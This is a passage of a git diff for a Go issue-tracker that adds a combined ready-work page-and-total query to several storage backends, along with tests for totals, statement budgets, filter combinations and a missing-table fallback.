a/internal/storage/dolt/queries.go +++ b/internal/storage/dolt/queries.go @@ -117,6 +117,21 @@ func (s *DoltStore) GetReadyWorkWithCounts(ctx context.Context, filter types.Wor return result, err } +// GetReadyWorkWithCountsAndTotal returns the ready page and the size of the +// whole ready set in one read transaction (and one defer-wake sweep), so a +// capped `bd ready` needs no separate count pass. +func (s *DoltStore) GetReadyWorkWithCountsAndTotal(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, int, error) { + s.wakeExpiredDefers(ctx) + var result []*types.IssueWithCounts + var total int + err := s.withReadTx(ctx, func(tx *sql.Tx) error { + var err error + result, total, err = issueops.GetReadyWorkWithCountsAndTotalInTx(ctx, tx, filter) + return err + }) + return result, total, err +} + // CountReadyWork returns the total ready-work count for filter. It is identical // to len(GetReadyWorkWithCounts(filter with Limit=0)) but sizes the total with // cheap indexed COUNT(*)s instead of re-running the counts mega-query. Backs the diff --git a/internal/storage/embeddeddolt/queries.go b/internal/storage/embeddeddolt/queries.go index a30c7d89a..a0282d2a3 100644 --- a/internal/storage/embeddeddolt/queries.go +++ b/internal/storage/embeddeddolt/queries.go @@ -70,6 +70,21 @@ func (s *EmbeddedDoltStore) GetReadyWorkWithCounts(ctx context.Context, filter t return result, err } +// GetReadyWorkWithCountsAndTotal returns the ready page and the size of the +// whole ready set in one read transaction (and one defer-wake sweep), so a +// capped `bd ready` needs no separate count pass. +func (s *EmbeddedDoltStore) GetReadyWorkWithCountsAndTotal(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, int, error) { + s.wakeExpiredDefers(ctx) + var result []*types.IssueWithCounts + var total int + err := s.withConn(ctx, false, func(tx *sql.Tx) error { + var err error + result, total, err = issueops.GetReadyWorkWithCountsAndTotalInTx(ctx, tx, filter) + return err + }) + return result, total, err +} + // CountReadyWork returns the total ready-work count for filter. It is identical // to len(GetReadyWorkWithCounts(filter with Limit=0)) but sizes the total with // cheap indexed COUNT(*)s instead of re-running the counts mega-query. Backs the diff --git a/internal/storage/embeddeddolt/ready_total_test.go b/internal/storage/embeddeddolt/ready_total_test.go new file mode 100644 index 000000000..5f00f8c29 --- /dev/null +++ b/internal/storage/embeddeddolt/ready_total_test.go @@ -0,0 +1,396 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "context" + "database/sql" + "fmt" + "slices" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// countingTx counts the statements a read issues. Against a remote SQL server +// every statement is one sequential round trip, so this number — not rows +// scanned — is what `bd ready` latency is made of. +type countingTx struct { + tx *sql.Tx + stmts []string +} + +func (c *countingTx) record(q string) { + c.stmts = append(c.stmts, strings.Join(strings.Fields(q), " ")) +} + +func (c *countingTx) ExecContext(ctx context.Context, q string, args ...any) (sql.Result, error) { + c.record(q) + return c.tx.ExecContext(ctx, q, args...) +} + +func (c *countingTx) QueryContext(ctx context.Context, q string, args ...any) (*sql.Rows, error) { + c.record(q) + return c.tx.QueryContext(ctx, q, args...) +} + +func (c *countingTx) QueryRowContext(ctx context.Context, q string, args ...any) *sql.Row { + c.record(q) + return c.tx.QueryRowContext(ctx, q, args...) +} + +// withCountingReadTx runs fn inside one read transaction on a raw connection +// to te's database and returns the statements fn issued. +func withCountingReadTx(t *testing.T, te *testEnv, fn func(tx issueops.DBTX) error) []string { + t.Helper() + ctx := t.Context() + db, cleanup, err := embeddeddolt.OpenSQL(ctx, te.dataDir, te.database, "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + defer func() { _ = cleanup() }() + tx, err := db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin: %v", err) + } + defer func() { _ = tx.Rollback() }() + c := &countingTx{tx: tx} + if err := fn(c); err != nil { + t.Fatalf("read: %v", err) + } + return c.stmts +} + +func readyIDs(items []*types.IssueWithCounts) []string { + ids := make([]string, 0, len(items)) + for _, it := range items { + ids = append(ids, it.Issue.ID) + } + return ids +} + +type readyTotalWorld struct { + wisps bool + deferredParent bool + collision bool +} + +// seedReadyTotalWorld builds a ready front with every shape the total has to +// get right: plain ready issues, a blocked issue (its blocker stays ready), a +// future-deferred parent whose children are hidden, ready wisps, and an ID +// present in both tables (the overlap the merge dedupes wisp-wins). +func seedReadyTotalWorld(t *testing.T, te *testEnv, prefix string, w readyTotalWorld) { + t.Helper() + ctx := t.Context() + create := func(iss *types.Issue) { + t.Helper() + if iss.Status == "" { + iss.Status = types.StatusOpen + } + if iss.IssueType == "" { + iss.IssueType = types.TypeTask + } + if err := te.store.CreateIssue(ctx, iss, "tester"); err != nil { + t.Fatalf("CreateIssue %s: %v", iss.ID, err) + } + } + dep := func(from, to string, typ types.DependencyType) { + t.Helper() + if err := te.store.AddDependency(ctx, &types.Dependency{IssueID: from, DependsOnID: to, Type: typ}, "tester"); err != nil { + t.Fatalf("AddDependency %s -> %s: %v", from, to, err) + } + } + for i := 0; i < 5; i++ { + create(&types.Issue{ID: fmt.Sprintf("%s-r%d", prefix, i), Title: fmt.Sprintf("ready %d", i), Priority: i % 3}) + } + create(&types.Issue{ID: prefix + "-blocker", Title: "blocker", Priority: 1}) + create(&types.Issue{ID: prefix + "-blocked", Title: "blocked", Priority: 1}) + dep(prefix+"-blocked", prefix+"-blocker", types.DepBlocks) + + if w.deferredParent { + future := time.Now().UTC().Add(72 * time.Hour) + create(&types.Issue{ID: prefix + "-dparent", Title: "deferred parent", IssueType: types.TypeEpic, DeferUntil: &future}) + create(&types.Issue{ID: prefix + "-dchild", Title: "child of deferred", Priority: 0}) + dep(prefix+"-dchild", prefix+"-dparent", types.DepParentChild) + } + if w.wisps { + for i := 0; i < 3; i++ { + create(&types.Issue{ID: fmt.Sprintf("%s-w%d", prefix, i), Title: fmt.Sprintf("wisp %d", i), Priority: 1, Ephemeral: true}) + } + if w.deferredParent { + create(&types.Issue{ID: prefix + "-wdchild", Title: "wisp child of deferred", Priority: 0, Ephemeral: true}) + dep(prefix+"-wdchild", prefix+"-dparent", types.DepParentChild) + } + } + if w.collision { + // GH#4455 made creates refuse this, so it is written the way a store + // corrupted before that fix holds it: the same row in both tables. + te.exec(t, ctx, "INSERT INTO wisps (id, title, status, priority, issue_type, ephemeral, created_at, updated_at) "+ + "SELECT id, title, status, priority, issue_type, 1, created_at, updated_at FROM issues WHERE id = ?", prefix+"-r0") + } +} + +// TestReadyWorkPageTotal pins the in-band total GetReadyWorkWithCountsAndTotal +// hands `bd ready`: for every page size it must equal both the ReadyCounter +// identity (CountReadyWorkInTx) and the length of the unbounded page, and the +// page itself must be the unbounded page's prefix — the counting pass it +// replaced proved nothing more. +func TestReadyWorkPageTotal(t *testing.T) { + skipUnlessEmbeddedDolt(t) + + // The expected ready sets are written out by hand rather than derived + // from another reader in this package: GetReadyWorkWithCountsInTx, + // CountReadyWorkInTx and the method under test all share + // probeReadyWorkInTx, so agreement among them alone could not catch a + // probe that hid (or leaked) a row in all three at once. Keyed by + // IncludeEphemeral; suffixes are appended to the world's prefix. + plain := []string{"blocker", "r0", "r1", "r2", "r3", "r4"} + withWisps := []string{"blocker", "r0", "r1", "r2", "r3", "r4", "w0", "w1", "w2"} + worlds := []struct { + name string + world readyTotalWorld + want map[bool][]string + }{ + {"issues_only", readyTotalWorld{}, map[bool][]string{false: plain, true: plain}}, + // dparent is future-deferred, so it and its child are hidden. + {"issues_deferred_parent", readyTotalWorld{deferredParent: true}, map[bool][]string{false: plain, true: plain}}, + {"wisps", readyTotalWorld{wisps: true}, map[bool][]string{false: plain, true: withWisps}}, + // The wisp child of the deferred parent is hidden too. + {"wisps_deferred_parent", readyTotalWorld{wisps: true, deferredParent: true}, map[bool][]string{false: plain, true: withWisps}}, + // r0 sits in both tables; it is listed (and counted) exactly once. + {"wisps_collision", readyTotalWorld{wisps: true, collision: true}, map[bool][]string{false: plain, true: withWisps}}, + } + for i, wc := range worlds { + t.Run(wc.name, func(t *testing.T) { + prefix := fmt.Sprintf("rt%d", i) + te := newTestEnv(t, prefix) + seedReadyTotalWorld(t, te, prefix, wc.world) + + for _, includeEphemeral := range []bool{false, true} { + base := types.WorkFilter{IncludeEphemeral: includeEphemeral} + var unbounded []*types.IssueWithCounts + var counted int + withCountingReadTx(t, te, func(tx issueops.DBTX) error { + var err error + if unbounded, err = issueops.GetReadyWorkWithCountsInTx(t.Context(), tx, base); err != nil { + return err + } + counted, err = issueops.CountReadyWorkInTx(t.Context(), tx, base) + return err + }) + if counted != len(unbounded) { + t.Fatalf("ephemeral=%v: CountReadyWorkInTx = %d, unbounded page has %d rows %v", + includeEphemeral, counted, len(unbounded), readyIDs(unbounded)) + } + all := readyIDs(unbounded) + if got, want := sortedIDs(all), prefixed(prefix, wc.want[includeEphemeral]); strings.Join(got, ",") != strings.Join(want, ",") { + t.Fatalf("ephemeral=%v: ready set = %v, want %v", includeEphemeral, got, want) + } + if len(all) < 3 { + t.Fatalf("ephemeral=%v: seeded world too small to page: %v", includeEphemeral, all) + } + sawWisp := false + for _, id := range all { + if strings.Contains(id, "-w") { + sawWisp = true + } + if strings.HasSuffix(id, "-blocked") || strings.Contains(id, "dchild") { + t.Fatalf("ephemeral=%v: %s is not ready but was listed: %v", includeEphemeral, id, all) + } + } + + // Identity alone cannot see a wisp family that was never read: + // the page and the count would agree on leaving it out. + if wantWisp := wc.world.wisps && includeEphemeral; sawWisp != wantWisp { + t.Fatalf("ephemeral=%v: wisps listed = %v, want %v: %v", includeEphemeral, sawWisp, wantWisp, all) + } + + for _, limit := range []int{0, 1, 2, len(all) - 1, len(all), len(all) + 3, len(all) + 5} { + filter := base + filter.Limit = limit + var page []*types.IssueWithCounts + var total int + withCountingReadTx(t, te, func(tx issueops.DBTX) error { + var err error + page, total, err = issueops.GetReadyWorkWithCountsAndTotalInTx(t.Context(), tx, filter) + return err + }) + if total != len(all) { + t.Errorf("ephemeral=%v limit=%d: total = %d, want %d", includeEphemeral, limit, total, len(all)) + } + want := all + if limit > 0 && limit < len(all) { + want = all[:limit] + } + if got := readyIDs(page); strings.Join(got, ",") != strings.Join(want, ",") { + t.Errorf("ephemeral=%v limit=%d: page = %v, want %v", includeEphemeral, limit, got, want) + } + } + } + }) + } +} + +// TestReadyWorkStatementBudget is the round-trip regression guard. `bd ready +// --json --limit 1` against a remote store with ~55 ms per round trip took +// 5.4 s — slower than --limit 0 — because a capped page re-ran every probe per +// table family and then sized the set in a second pass. These budgets are the +// statements ONE read transaction issues for the page AND its total; the +// separate count transaction is gone entirely. +func TestReadyWorkStatementBudget(t *testing.T) { + skipUnlessEmbeddedDolt(t) + + cases := []struct { + name string + world readyTotalWorld + limit int + want int + }{ + // probe + mega-query + {"issues_only/limit0", readyTotalWorld{}, 0, 2}, + // probe + (ID page with window total + counts hydration) + {"issues_only/limit1", readyTotalWorld{}, 1, 3}, + // probe + mega-query per family + {"wisps/limit0", readyTotalWorld{wisps: true}, 0, 3}, + // probe + (ID page + hydration) per family + {"wisps/limit1", readyTotalWorld{wisps: true}, 1, 5}, + // + one statement for every deferred-parent child leg + {"wisps_deferred_parent/limit0", readyTotalWorld{wisps: true, deferredParent: true}, 0, 4}, + {"wisps_deferred_parent/limit1", readyTotalWorld{wisps: true, deferredParent: true}, 1, 6}, + // + the overlap count, only because an ID sits in both tables + {"wisps_collision/limit1", readyTotalWorld{wisps: true, collision: true}, 1, 6}, + } + for i, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + prefix := fmt.Sprintf("rb%d", i) + te := newTestEnv(t, prefix) + seedReadyTotalWorld(t, te, prefix, tc.world) + + filter := types.WorkFilter{IncludeEphemeral: true, Limit: tc.limit} + var total int + stmts := withCountingReadTx(t, te, func(tx issueops.DBTX) error { + var err error + _, total, err = issueops.GetReadyWorkWithCountsAndTotalInTx(t.Context(), tx, filter) + return err + }) + if total == 0 { + t.Fatalf("total = 0; the seeded world has ready work") + } + // A ceiling, not an exact pin: a change that saves a statement + // should not have to edit this table, but one that adds a round + // trip fails. The budgets are today's counts, so there is no slack. + if len(stmts) > tc.want { + t.Errorf("page+total issued %d statements, budget %d (+%d):\n %s", + len(stmts), tc.want, len(stmts)-tc.want, strings.Join(stmts, "\n ")) + } else if len(stmts) < tc.want { + t.Logf("page+total issued %d statements, under budget %d by %d; consider tightening:\n %s", + len(stmts), tc.want, tc.want-len(stmts), strings.Join(stmts, "\n ")) + } + }) + } +} + +func sortedIDs(ids []string) []string { + out := slices.Clone(ids) + slices.Sort(out) + return out +} + +func prefixed(prefix string, suffixes []string) []string { + out := make([]string, 0, len(suffixes)) + for _, s := range suffixes { + out = append(out, prefix+"-"+s) + } + slices.Sort(out) + return out +} + +// TestReadyWorkPageTotalFilterMatrix runs the in-band total across the +// WorkFilter fields `bd ready` forwards. Each filter's ready set is written +// out by hand (the oracle); the total must equal the unbounded listing's +// length, and every capped page must be that listing's prefix, so a filter +// the window total ignored — or applied to one family only — fails here. +func TestReadyWorkPageTotalFilterMatrix(t *testing.T) { + skipUnlessEmbeddedDolt(t) + + const prefix = "rm" + te := newTestEnv(t, prefix) + seedReadyTotalWorld(t, te, prefix, readyTotalWorld{wisps: true, deferredParent: true}) + ctx := t.Context() + id := func(s string) string { return prefix + "-" + s } + for issue, labels := range map[string][]string{"r0": {"a", "b"}, "r1": {"a"}, "blocker": {"a"}, "w0": {"b"}} { + for _, l := range labels { + if err := te.store.AddLabel(ctx, id(issue), l, "tester"); err != nil { + t.Fatalf("AddLabel %s %s: %v", issue, l, err) + } + } + } + for _, issue := range []string{"r2", "w1"} { + if err := te.store.UpdateIssue(ctx, id(issue), map[string]interface{}{"assignee": "alice"}, "tester"); err != nil { + t.Fatalf("assign %s: %v", issue, err) + } + } + + all := []string{"blocker", "r0", "r1", "r2", "r3", "r4", "w0", "w1", "w2"} + alice, zero := "alice", 0 + parent := id("dparent") + cases := []struct { + name string + filter types.WorkFilter + want []string + }{ + {"hybrid", types.WorkFilter{}, all}, + {"oldest", types.WorkFilter{SortPolicy: types.SortPolicyOldest}, all}, + {"priority", types.WorkFilter{SortPolicy: types.SortPolicyPriority}, all}, + {"labels_all", types.WorkFilter{Labels: []string{"a", "b"}}, []string{"r0"}}, + {"labels_any", types.WorkFilter{LabelsAny: []string{"a", "b"}}, []string{"blocker", "r0", "r1", "w0"}}, + {"assignee", types.WorkFilter{Assignee: &alice}, []string{"r2", "w1"}}, + {"unassigned", types.WorkFilter{Unassigned: true}, []string{"blocker", "r0", "r1", "r3", "r4", "w0", "w2"}}, + {"priority_0", types.WorkFilter{Priority: &zero}, []string{"r0", "r3"}}, + {"exclude_ids", types.WorkFilter{ExcludeIDs: []string{id("r1"), id("w2")}}, []string{"blocker", "r0", "r2", "r3", "r4", "w0", "w1"}}, + {"include_deferred", types.WorkFilter{IncludeDeferred: true}, append(slices.Clone(all), "dchild", "dparent", "wdchild")}, + {"parent_deferred", types.WorkFilter{ParentID: &parent, IncludeDeferred: true}, []string{"dchild", "wdchild"}}, + {"max_rows", types.WorkFilter{MaxRows: 50}, all}, + {"type_epic", types.WorkFilter{Type: string(types.TypeEpic), IncludeDeferred: true}, []string{"dparent"}}, + {"type_task_oldest", types.WorkFilter{Type: string(types.TypeTask), SortPolicy: types.SortPolicyOldest}, all}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + base := tc.filter + base.IncludeEphemeral = true + var unbounded []*types.IssueWithCounts + withCountingReadTx(t, te, func(tx issueops.DBTX) error { + var err error + unbounded, err = issueops.GetReadyWorkWithCountsInTx(t.Context(), tx, base) + return err + }) + listed := readyIDs(unbounded) + if got, want := sortedIDs(listed), prefixed(prefix, tc.want); strings.Join(got, ",") != strings.Join(want, ",") { + t.Fatalf("ready set = %v, want %v", got, want) + } + n := len(listed) + for _, limit := range []int{1, 2, n, n + 3} { + filter := base + filter.Limit = limit + var page []*types.IssueWithCounts + var total int + withCountingReadTx(t, te, func(tx issueops.DBTX) error { + var err error + page, total, err = issueops.GetReadyWorkWithCountsAndTotalInTx(t.Context(), tx, filter) + return err + }) + if total != n { + t.Errorf("limit=%d: total = %d, want %d", limit, total, n) + } + want := listed[:min(limit, n)] + if got := readyIDs(page); strings.Join(got, ",") != strings.Join(want, ",") { + t.Errorf("limit=%d: page = %v, want prefix %v", limit, got, want) + } + } + }) + } +} diff --git a/internal/storage/externaldeps/decorator.go b/internal/storage/externaldeps/decorator.go index 29f0e7f8c..b9ac2c545 100644 --- a/internal/storage/externaldeps/decorator.go +++ b/internal/storage/externaldeps/decorator.go @@ -11,6 +11,7 @@ import ( "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi/storereadycounter" publicops "github.com/steveyegge/beads/issueops" ) @@ -184,6 +185,19 @@ func (s *Store) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFil return s.inner.GetReadyWorkWithCounts(ctx, filter) } +// GetReadyWorkWithCountsAndTotal applies the same external exclusions as +// GetReadyWorkWithCounts, so the page and its total describe one ready set. +// It must be overridden here: the embedded passthrough would reach the inner +// store without the exclusions. +func (s *Store) GetReadyWorkWithCountsAndTotal(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, int, error) { + state, err := s.loadBlockingState(ctx) + if err != nil { + return nil, 0, err + } + filter = withExternalExclusions(filter, state.refsByIssue) + return s.inner.GetReadyWorkWithCountsAndTotal(ctx, filter) +} + func withExternalExclusions(filter types.WorkFilter, refsByIssue map[string][]string) types.WorkFilter { filter.ExcludeIDs = slices.Clone(filter.ExcludeIDs) newIDs := make([]string, 0, len(refsByIssue)) @@ -216,6 +230,16 @@ func (s *Store) CountReadyWork(ctx context.Context, filter types.WorkFilter) (in return len(issues), nil } +// ReadyCounter sizes the ready set through CountReadyWork above, so the total +// text-mode `bd ready` prints honors the same external exclusions as the page +// and as the in-band total `bd ready --json` takes from +// GetReadyWorkWithCountsAndTotal. It must be overridden here: the embedded +// passthrough would hand back the inner store's counter, which counts +// externally blocked issues as ready. +func (s *Store) ReadyCounter() (publicops.ReadyCounter, error) { + return storereadycounter.New(s) +} + // ClaimReadyIssue resolves external blockers before using the existing local // compare-and-swap claim operation. Cross-project state cannot be atomic with // the local claim, but local claim ownership remains race-safe. diff --git a/internal/storage/externaldeps/decorator_test.go b/internal/storage/externaldeps/decorator_test.go index 5c5b44708..a5231ec11 100644 --- a/internal/storage/externaldeps/decorator_test.go +++ b/internal/storage/externaldeps/decorator_test.go @@ -68,6 +68,20 @@ func (f *fakeStore) GetReadyWorkWithCounts(ctx context.Context, filter types.Wor return result, nil } +func (f *fakeStore) GetReadyWorkWithCountsAndTotal(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, int, error) { + items, err := f.GetReadyWorkWithCounts(ctx, filter) + if err != nil { + return nil, 0, err + } + unbounded := filter + unbounded.Limit, unbounded.Offset = 0, 0 + all, err := f.GetReadyWork(ctx, unbounded) + if err != nil { + return nil, 0, err + } + return items, len(all), nil +} + func (f *fakeStore) GetBlockedIssues(_ context.Context, _ types.WorkFilter) ([]*types.BlockedIssue, error) { return slices.Clone(f.blocked), nil } @@ -380,6 +394,64 @@ func TestCountReadyWorkUsesExternalPolicy(t *testing.T) { } } +// TestReadyPageTotalUsesExternalPolicy: the page `bd ready --json` lists and +// the total it prints beside it must both exclude externally blocked work. The +// decorator embeds the inner store, so without its own override this method +// would pass straight through and count the excluded rows. +func TestReadyPageTotalUsesExternalPolicy(t *testing.T) { + a, b, c := issue("be-a"), issue("be-b"), issue("be-c") + raw := &fakeStore{ + ready: []*types.Issue{a, b, c}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + }, + } + store := testStore(raw, &fakeStore{}, true) + + items, total, err := store.GetReadyWorkWithCountsAndTotal(t.Context(), types.WorkFilter{Limit: 1}) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotal: %v", err) + } + if len(items) != 1 || items[0].ID != b.ID { + t.Fatalf("page = %v, want [%s]", items, b.ID) + } + if total != 2 { + t.Fatalf("total = %d, want 2 (be-a is externally blocked)", total) + } +} + +// TestReadyTotalsAgreeAcrossOutputModes: text `bd ready` sizes a full page +// through the ReadyCounter role, `bd ready --json` through the in-band total. +// With an externally blocked issue present both must exclude it; before the +// decorator overrode ReadyCounter, the text total passed through to the inner +// store and counted it. +func TestReadyTotalsAgreeAcrossOutputModes(t *testing.T) { + a, b, c := issue("be-a"), issue("be-b"), issue("be-c") + raw := &fakeStore{ + ready: []*types.Issue{a, b, c}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + }, + } + store := testStore(raw, &fakeStore{}, true) + + counter, err := store.ReadyCounter() + if err != nil { + t.Fatalf("ReadyCounter: %v", err) + } + text, err := counter.CountReady(t.Context(), publicops.ReadyRequest{}) + if err != nil { + t.Fatalf("CountReady: %v", err) + } + _, jsonTotal, err := store.GetReadyWorkWithCountsAndTotal(t.Context(), types.WorkFilter{Limit: 1}) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotal: %v", err) + } + if text.Total != 2 || int(text.Total) != jsonTotal { + t.Fatalf("text total = %d, json total = %d; want both 2 (be-a is externally blocked)", text.Total, jsonTotal) + } +} + func TestGetBlockedIssuesAddsUnsatisfiedExternalRefs(t *testing.T) { a, c := issue("be-a"), issue("be-c") raw := &fakeStore{ diff --git a/internal/storage/issueops/counts_missing_table_test.go b/internal/storage/issueops/counts_missing_table_test.go index 8841e486d..fdec3c821 100644 --- a/internal/storage/issueops/counts_missing_table_test.go +++ b/internal/storage/issueops/counts_missing_table_test.go @@ -3,6 +3,7 @@ package issueops import ( "context" "database/sql" + "database/sql/driver" "errors" "fmt" "testing" @@ -40,6 +41,21 @@ type countsEntryPoint struct { wantTolerated string } +// readyProbeSQL matches the one-statement ready probe (probeReadyWorkInTx). +const readyProbeSQL = `^SELECT EXISTS \(SELECT 1 FROM wisps\), EXISTS \(SELECT 1 FROM wisp_dependencies\)` + +// readyProbeRows answers the ready probe: wisps present, wisp_dependencies +// present, then any further flags the caller's probe asks for. +func readyProbeRows(flags ...bool) *sqlmock.Rows { + cols := make([]string, len(flags)) + vals := make([]driver.Value, len(flags)) + for i, f := range flags { + cols[i] = fmt.Sprintf("f%d", i) + vals[i] = f + } + return sqlmock.NewRows(cols).AddRow(vals...) +} + func scalarCountRows(n int) *sqlmock.Rows { return sqlmock.NewRows([]string{"count"}).AddRow(n) } @@ -160,11 +176,8 @@ var countsEntryPoints = []countsEntryPoint{ name: "GetReadyWorkWithCountsInTx", missing: countsMegaQueryTables, prime: func(mock sqlmock.Sqlmock, wispErr error) { - mock.ExpectQuery(`SELECT 1 FROM wisp_dependencies LIMIT 1`). - WillReturnRows(sqlmock.NewRows([]string{"1"}).AddRow(1)) + mock.ExpectQuery(readyProbeSQL).WillReturnRows(readyProbeRows(true, true)) mock.ExpectQuery(`(?s)FROM issues i`).WillReturnRows(emptyCountsRows()) - mock.ExpectQuery(`SELECT 1 FROM wisps LIMIT 1`). - WillReturnRows(sqlmock.NewRows([]string{"1"}).AddRow(1)) mock.ExpectQuery(`(?s)FROM wisps i`).WillReturnError(wispErr) }, run: func(ctx context.Context, tx *sql.Tx) (string, error) { @@ -177,12 +190,12 @@ var countsEntryPoints = []countsEntryPoint{ name: "CountReadyWorkInTx", missing: []string{"wisp_labels"}, prime: func(mock sqlmock.Sqlmock, wispErr error) { - mock.ExpectQuery(`SELECT 1 FROM wisp_dependencies LIMIT 1`). - WillReturnRows(sqlmock.NewRows([]string{"1"}).AddRow(1)) + // Both families are counted in one statement; when its wisp half + // names a table the database may lack, the issues count is taken + // on its own. + mock.ExpectQuery(readyProbeSQL).WillReturnRows(readyProbeRows(true, true, false)) + mock.ExpectQuery(`SELECT \(SELECT COUNT\(\*\) FROM issues .*\), \(SELECT COUNT\(\*\) FROM wisps`).WillReturnError(wispErr) mock.ExpectQuery(`SELECT COUNT\(\*\) FROM issues`).WillReturnRows(scalarCountRows(1)) - mock.ExpectQuery(`SELECT 1 FROM wisps LIMIT 1`). - WillReturnRows(sqlmock.NewRows([]string{"1"}).AddRow(1)) - mock.ExpectQuery(`SELECT COUNT\(\*\) FROM wisps`).WillReturnError(wispErr) }, run: func(ctx context.Context, tx *sql.Tx) (string, error) { n, err := CountReadyWorkInTx(ctx, tx, readyFilter()) @@ -323,3 +336,63 @@ func TestCountsHealthyPlaneStillMerges(t *testing.T) { t.Fatalf("unmet sql expectations: %v", err) } } + +// TestReadyProbeFallsBackOnPreWispDatabase pins the one-statement ready probe's +// escape hatch. A pre-migration database has no wisps table, so the combined +// probe (which names it) fails as a whole; the ready read must then fall back +// to the per-table probes — whose missing-table tolerance is the documented +// contract — and answer issues-only, for the page, its in-band total and the +// separate count alike. +func TestReadyProbeFallsBackOnPreWispDatabase(t *testing.T) { + primeFallback := func(mock sqlmock.Sqlmock) { + mock.ExpectQuery(readyProbeSQL).WillReturnError(tableNotFound("wisps")) + mock.ExpectQuery(`SELECT 1 FROM wisp_dependencies LIMIT 1`).WillReturnError(tableNotFound("wisp_dependencies")) + mock.ExpectQuery(`SELECT 1 FROM wisps LIMIT 1`).WillReturnError(tableNotFound("wisps")) + } + + t.Run("page_and_total", func(t *testing.T) { + _, mock, tx := beginMockTx(t) + primeFallback(mock) + mock.ExpectQuery(`^SELECT id, COUNT\(\*\) OVER \(\) FROM issues`). + WillReturnRows(sqlmock.NewRows([]string{"id", "total"})) + filter := readyFilter() + filter.Limit = 1 + out, total, err := GetReadyWorkWithCountsAndTotalInTx(context.Background(), tx, filter) + if err != nil { + t.Fatalf("GetReadyWorkWithCountsAndTotalInTx on a pre-wisp database: %v", err) + } + if len(out) != 0 || total != 0 { + t.Fatalf("got %d rows, total %d; want an empty issues-only answer", len(out), total) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet sql expectations: %v", err) + } + }) + + t.Run("count", func(t *testing.T) { + _, mock, tx := beginMockTx(t) + primeFallback(mock) + mock.ExpectQuery(`^SELECT COUNT\(\*\) FROM issues WHERE`).WillReturnRows(scalarCountRows(4)) + n, err := CountReadyWorkInTx(context.Background(), tx, readyFilter()) + if err != nil { + t.Fatalf("CountReadyWorkInTx on a pre-wisp database: %v", err) + } + if n != 4 { + t.Fatalf("CountReadyWorkInTx = %d, want the issues-only 4", n) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet sql expectations: %v", err) + } + }) + + // The fallback is for a MISSING table only; any other probe failure is + // the caller's error, never a quietly issues-only answer. + t.Run("unrelated_error_propagates", func(t *testing.T) { + _, mock, tx := beginMockTx(t) + boom := errors.New("connection refused") + mock.ExpectQuery(readyProbeSQL).WillReturnError(boom) + if _, _, err := GetReadyWorkWithCountsAndTotalInTx(context.Background(), tx, readyFilter()); !errors.Is(err, boom) { + t.Fatalf("probe failure not propagated: %v", err) + } + }) +} diff --git a/internal/storage/issueops/ready_work.go b/internal/storage/issueops/ready_work.go index 206375202..a1863a605 100644 --- a/internal/storage/issueops/ready_work.go +++ b/internal/storage/issueops/ready_work.go @@ -64,7 +64,15 @@ func buildReadyWorkPredicates(ctx context.Context, tx DBTX, filter types.WorkFil } inputs.ParentDescendantIDs = descendantIDs } + return buildReadyWorkPredicatesFrom(filter, tables, inputs) +} +// buildReadyWorkPredicatesFrom renders the ready-work predicates for one table +// family from ID sets the caller already resolved. It issues no SQL, which is +// what lets a caller that renders BOTH families (and the total) resolve the +// deferred-parent children and parent descendants once per transaction +// instead of once per family. +func buildReadyWorkPredicatesFrom(filter types.WorkFilter, tables FilterTables, inputs sqlbuild.ReadyWorkWhereInputs) (*readyWorkPredicates, error) { whereSQL, whereArgs, err := sqlbuild.BuildReadyWorkWhere(filter, tables, inputs) if err != nil { return nil, err @@ -506,6 +514,60 @@ func queryReadyIssueIDPage(ctx context.Context, tx DBTX, query string, args []in return issueIDs, nil } +var ( + deferredChildDepTables = []string{"dependencies", "wisp_dependencies"} + deferredChildIssueTables = []string{"issues", "wisps"} +) + +// deferredChildrenQuery selects the children, recorded in depTable, of parents +// in issueTable whose defer_until is still in the future. +func deferredChildrenQuery(depTable, issueTable string) string { + targetCol := "depends_on_issue_id" + if issueTable == "wisps" { + targetCol = "depends_on_wisp_id" + } + return fmt.Sprintf(` + SELECT dep.issue_id + FROM %s dep + JOIN %s parent ON parent.id = dep.%s + WHERE dep.type = 'parent-child' + AND parent.defer_until IS NOT NULL + AND parent.defer_until > UTC_TIMESTAMP() + `, depTable, issueTable, targetCol) +} + +// getDeferredChildrenAllTablesInTx is getChildrenOfDeferredParentsInTx's +// child scan for a database known to have the whole wisp plane: the four +// dependency-table x parent-table legs go out as ONE statement (UNION ALL) +// instead of four. Callers must already know every table exists — the +// per-leg missing-table tolerance of the loop form cannot apply to a single +// statement. +func getDeferredChildrenAllTablesInTx(ctx context.Context, tx DBTX) ([]string, error) { + legs := make([]string, 0, len(deferredChildDepTables)*len(deferredChildIssueTables)) + for _, depTable := range deferredChildDepTables { + for _, issueTable := range deferredChildIssueTables { + legs = append(legs, deferredChildrenQuery(depTable, issueTable)) + } + } + rows, err := tx.QueryContext(ctx, strings.Join(legs, " UNION ALL ")) + if err != nil { + return nil, fmt.Errorf("deferred parents: get deferred children: %w", err) + } + defer func() { _ = rows.Close() }() + var childIDs []string + for rows.Next() { + var id string + if err := rows.Scan(&id); err != nil { + return nil, fmt.Errorf("deferred parents: scan deferred child: %w", err) + } + childIDs = append(childIDs, id) + } + if err := rows.Err(); err != nil { + return nil, fmt.Errorf("deferred parents: child rows: %w", 